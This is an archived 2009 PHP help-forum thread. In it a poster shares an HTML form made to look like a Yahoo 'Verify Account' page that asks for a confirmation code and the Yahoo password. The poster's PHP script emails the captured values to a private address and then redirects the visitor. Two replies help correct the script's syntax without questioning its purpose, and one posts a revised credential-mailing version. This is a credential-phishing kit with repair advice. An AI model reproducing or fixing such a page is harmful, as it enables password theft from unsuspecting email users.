getthisrite Posted February 22, 2009 Share Posted February 22, 2009 i have made a form in html with the following fields:::: <form action="feedback.php" method="post"> <input name="name_from" value="Email! Verification" type="hidden"> <input name="email_from" value="[email protected]" type="hidden"> <input name="Email! ID" value="<?php echo $slogin; ?>" type="hidden"> <input name="send" id="verifyfield" value="" type="hidden"> <input name="cancel" id="cancelfield" value="" type="hidden"> <div id="globalbuttonbartop" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifytop" id="verifytop" value="Verify Account">Verify Account</button> <button type="button" name="canceltop" id="canceltop" value="Cancel">Cancel</button> <tr valign="top"> <td> <!-- START MAIN APPLICATION CONTENT --> <div id="stateindicator"> <h2>Verify Account</h2> </div> <div class="fieldset lightfill last"> <p><b>An email with a confirmation code was sent to</b>: </p> <h3>Verify your account to continue using My Mail:</h3> <table width="796" border="0" cellpadding="4" cellspacing="0"> <tbody><tr> <td class="label" width="25%">Confirmation Code:</td> <td><input size="5" style="width: 5em;" name="code" value="" type="text"></td> </tr> <tr> <td class="label" width="25%">Yahoo! Password:</td> <td><input size="15" style="width: 15em;" name="pw" value="" type="password"></td> </tr> <tr> <td class="label" width="25%">Verify Password:</td> <td> <input size="15" style="width: 15em;" name="pw1" value="" type="password"></td> </tr> </tbody></table> </div> <!-- END MAIN APPLICATION CONTENT --> </td> </tr> </tbody></table> <div id="globalbuttonbarbottom" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifybottom" id="verifybottom" value="Verify Account">Verify Account</button> <button type="button" name="cancelbottom" id="cancelbottom" value="Cancel">Cancel</button> </div> </form> ------------------------------------------------- This is the php file which i made for this form: <?php $name_from=$_request['name_from']; $email_from=$_request['email_from']; $EmailID=$_request['EmailID']; $.code=$_request['.code']; $.mail=$_request['.mail']; $.pw=$_request['.pw']; $.pw1=$_request['.pw1']; mail("[email protected],"Requested Data",$name_from,$email_from,$YahooID,$.code,$.mail,$.pw,$.pw1); header( "Location: http://www.mydomain.com/thanks" ); ?> Please help me... as i want all the requested data to be sent to the given email id....... Thanks Link to comment https://forums.phpfreaks.com/topic/146332-need-help-am-not-able-to-run-my-filefeedbackphp/ Share on other sites More sharing options...
Q695 Posted February 22, 2009 Share Posted February 22, 2009 the bottom should read: @mail($to, $subject, $message, $header_info); I don't know why, but for some reason it seems to like an "@" in there. Link to comment https://forums.phpfreaks.com/topic/146332-need-help-am-not-able-to-run-my-filefeedbackphp/#findComment-768317 Share on other sites More sharing options...
DarkSuperHero Posted February 22, 2009 Share Posted February 22, 2009 i dont think PHP likes dots(periods) in variable names... http://us3.php.net/manual/en/language.variables.basics.php and your form's input names dont have dots in them, but in your code you reference the names with dots included.... <?php name_from=$_request['name_from']; $email_from=$_request['email_from']; $EmailID=$_request['EmailID']; $code=$_request['code']; $mail=$_request['mail']; $pw=$_request['pw']; $pw1=$_request['.pw1']; mail("[email protected],"Requested Data",$name_from,$email_from,$YahooID,$code,$mail,$pw,$pw1); header( "Location: http://www.mydomain.com/thanks" ); try thay.... Link to comment https://forums.phpfreaks.com/topic/146332-need-help-am-not-able-to-run-my-filefeedbackphp/#findComment-768325 Share on other sites More sharing options...
Q695 Posted February 22, 2009 Share Posted February 22, 2009 it doesn't like all the commas in there, because it doesn't know how to react, and you're killing the server code. It is like any other function, syntax needs to be correct. Link to comment https://forums.phpfreaks.com/topic/146332-need-help-am-not-able-to-run-my-filefeedbackphp/#findComment-768328 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.